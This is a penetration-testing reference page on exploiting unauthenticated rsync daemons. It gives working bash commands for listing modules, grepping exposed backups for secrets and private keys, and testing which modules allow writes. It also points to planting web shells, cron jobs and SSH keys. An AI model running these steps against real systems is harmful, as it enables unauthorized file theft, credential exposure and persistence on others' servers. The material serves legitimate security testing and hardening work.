# Rsync Unauthenticated Access

- **URL:** https://hackindex.io/services/rsync/vulnerability-discovery/rsync-unauthenticated-access
- **Path:** Rsync > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/rsync/vulnerability-discovery.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-30

Unauthenticated rsync access occurs when modules are configured without the `auth users` directive in rsyncd.conf, or when the `hosts allow` directive is set too broadly. Read access enables arbitrary file download from the exposed path. Write access enables planting files (SSH keys, cron jobs, web shells) in any writable location the module exposes. Confirm which condition exists before moving to the appropriate exploitation path.

- Confirm Unauthenticated Module Listing
- Assess Read Access Scope
- Confirm Write Access
- Check If Module Exposes Sensitive Paths

## Confirm Unauthenticated Module Listing

If the module list is returned without credentials, anonymous access is enabled at the daemon level:

```bash
rsync --list-only rsync://$TARGET_IP:873/ 2>&1
# public          Public files
# backup          Nightly backups
# www             Web root
```

Modules returned without a password prompt confirm anonymous access to the daemon. Check each module individually for read and write access: each may have different permissions.

## Assess Read Access Scope

Recursively list each module to understand what is exposed. Check for high-value content before pulling anything:

```bash
rsync --list-only -r rsync://$TARGET_IP:873/backup/ | grep -iE '\.env|config|password|secret|key|\.sql|\.bak|\.pem|id_rsa|id_dsa|id_ecdsa|id_ed25519'
# -rw-r--r--          2,048 2026/03/01 .env
# -rw-r--r--         81,920 2026/03/01 db_dump.sql
# -rw-------          1,675 2026/03/01 id_rsa
```

```bash
for module in $(rsync --list-only rsync://$TARGET_IP:873/ 2>/dev/null | awk '{print $1}'); do
  echo "=== $module ==="
  rsync --list-only rsync://$TARGET_IP:873/$module/ 2>/dev/null | head -10
done
# === backup ===
# drwxr-xr-x configs
# -rw-r--r-- db_dump.sql
# -rw-r--r-- .env
# === www ===
# drwxr-xr-x html
# drwxr-xr-x uploads
```

## Confirm Write Access

Test each module for write access by uploading a disposable test file:

```bash
echo 'pentest_write_check' > /tmp/wcheck.txt
for module in $(rsync --list-only rsync://$TARGET_IP:873/ 2>/dev/null | awk '{print $1}'); do
  result=$(rsync -v /tmp/wcheck.txt rsync://$TARGET_IP:873/$module/wcheck.txt 2>&1)
  if echo "$result" | grep -q 'sent.*bytes'; then
    echo "WRITE ACCESS: $module"
    rsync --remove-source-files rsync://$TARGET_IP:873/$module/wcheck.txt /dev/null 2>/dev/null
  else
    echo "read only: $module"
  fi
done
rm -f /tmp/wcheck.txt
# read only: backup
# WRITE ACCESS: www
# read only: public
```

Write access to `www` means you can plant a web shell in the web root. Clean up the test file immediately after confirming: the wcheck.txt file on the server must be deleted before proceeding.

## Check If Module Exposes Sensitive Paths

Module paths in rsyncd.conf sometimes map to sensitive system directories. List the root of each module and check for system paths:

```bash
rsync --list-only rsync://$TARGET_IP:873/backup/ | head -5
# drwxr-xr-x          4,096 2026/03/28 12:00:00 .
# -rw-r--r--          1,675 2026/03/01 08:00:00 id_rsa
# -rw-r--r--            367 2026/03/01 08:00:00 authorized_keys
```

id_rsa and authorized_keys in the module root suggest the module is syncing or backing up a user's .ssh directory. A readable id_rsa is an immediate SSH private key to test. A writable authorized_keys path enables SSH key planting without any other access. Move to [file access and loot](https://hackindex.io/services/rsync/exploitation/rsync-file-access-and-loot) for read exploitation or [write access exploitation](https://hackindex.io/services/rsync/exploitation/rsync-write-access-exploitation) for persistence paths.

## References

- [rsyncd.conf(5)](https://download.samba.org/pub/rsync/rsyncd.conf.5) - auth users and hosts allow directives controlling module access